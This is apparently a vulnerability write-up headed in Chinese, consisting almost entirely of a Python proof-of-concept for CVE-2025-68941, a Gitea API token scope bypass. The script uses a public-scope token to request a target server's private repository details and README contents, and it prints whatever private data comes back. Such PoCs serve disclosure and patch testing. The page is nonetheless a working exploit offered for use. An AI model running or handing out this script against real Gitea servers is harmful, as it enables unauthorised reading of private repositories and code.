CVE-2025-68941: Gitea API令牌范围限制绕过漏洞

import requests # CVE-2025-68941 PoC - Gitea API Token Scope Bypass # This PoC demonstrates accessing private resources with a public-scope token GITEA_URL = "http://target-gitea-server.com" API_TOKEN = "your_public_scope_token_here" TARGET_PRIVATE_REPO = "username/private-repo-name" def check_private_repo_info(): """Attempt to access private repository information using public-scope token""" headers = { "Authorization": f"token {API_TOKEN}", "Content-Type": "application/json" } # Try to get private repo details url = f"{GITEA_URL}/api/v1/repos/{TARGET_PRIVATE_REPO}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[VULNERABLE] Private repo info accessible with public-scope token") print(f"Response: {response.json()}") return True elif response.status_code == 404: print("[SAFE] Repository not found or properly protected") return False else: print(f"[INFO] Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return False def check_private_file_access(): """Attempt to access private repository files using public-scope token""" headers = { "Authorization": f"token {API_TOKEN}" } # Try to access README in private repo url = f"{GITEA_URL}/api/v1/repos/{TARGET_PRIVATE_REPO}/contents/README.md" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[VULNERABLE] Private file content accessible with public-scope token") return True else: print(f"[INFO] File access denied, status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-68941 Gitea API Scope Bypass PoC") print("=" * 50) check_private_repo_info() check_private_file_access()